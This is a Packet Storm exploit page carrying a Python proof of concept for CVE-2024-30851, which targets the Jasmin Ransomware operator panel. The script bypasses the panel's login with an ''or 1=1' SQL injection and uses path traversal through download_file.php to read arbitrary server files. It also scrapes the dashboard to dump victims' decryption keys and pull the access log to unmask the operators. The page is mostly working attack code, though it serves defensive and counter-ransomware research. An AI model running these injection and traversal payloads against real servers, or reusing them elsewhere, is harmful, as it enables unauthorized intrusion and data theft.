what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Jasmin Ransomware 1.1 Arbitrary File Read

Jasmin Ransomware 1.1 Arbitrary File Read
Posted Apr 5, 2024
Authored by chebuya

Jasmin Ransomware version 1.1 suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary
advisories | CVE-2024-30851
SHA-256 | 31f4b2bfcea7721b795130a73ea23eb4c455761a9210c8e57d648ef7f5a73b61

Jasmin Ransomware 1.1 Arbitrary File Read

Change Mirror Download
# Exploit Title: Jasmin Ransomware arbitrary file read
# Date: 2024-04-04
# Exploit Author: @_chebuya
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: v1.1
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-30851
# Description: Jasmin Ransomware panel contains multiple SQL injections and authorization issues, allowing a remote unauthenticated attacker to read arbitrary files off the server and bypass the login
# Github: https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc/tree/main
import requests
import argparse
import os
from bs4 import BeautifulSoup

def get_file(jasmin_url, filepath):
response = requests.get(
f'{jasmin_url}/download_file.php?file={filepath}',
allow_redirects=False
)

return response.text


def get_keys(jasmin_url):
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

data = "username=&password='+or+1%3D1+--+-&service=login"
login_req = requests.post(f'{jasmin_url}/checklogin.php', headers=headers, data=data)
cookies = login_req.cookies

list_req = requests.get(f'{jasmin_url}/dashboard.php', cookies=cookies)
soup = BeautifulSoup(list_req.text, 'html.parser')

rows = soup.find_all('tr')

print(f"Dumping decryption keys from {len(rows)-1} victims")
for row in rows:
data = row.find_all('td')
if len(data) == 0:
continue

username = data[1].get_text()
hostname = data[0].get_text()
filepath = data[7].find('a')['href'].split("=")[1]

print(f"Decryption key for {username}@{hostname}: {get_file(jasmin_url, filepath)}")


parser = argparse.ArgumentParser(description="LFD/SQLi Exploit PoC for Jasmin Ransomware panel")
subparser = parser.add_subparsers(dest='subcommand')

file_parser = subparser.add_parser("getfile", help="Read a file off the server")
file_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")
file_parser.add_argument("-f", "--file", default="c:/xampp/apache/logs/access.log", help="The file to read on the target server") # Default is the access log, deanonymize the operators!

keys_parser = subparser.add_parser("getkeys", help="Get decryption keys of victims")
keys_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")

args = parser.parse_args()

if args.subcommand != None:
target_url = args.url.rstrip("/")

if args.subcommand == "getkeys":
get_keys(target_url)
elif args.subcommand == "getfile":
target_file = args.file.replace("\\", "/").replace("c:", "")
target_path = os.path.join("../../../../../../../../../", target_file)
print(get_file(target_url, target_path))
else:
parser.print_help()
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    18 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close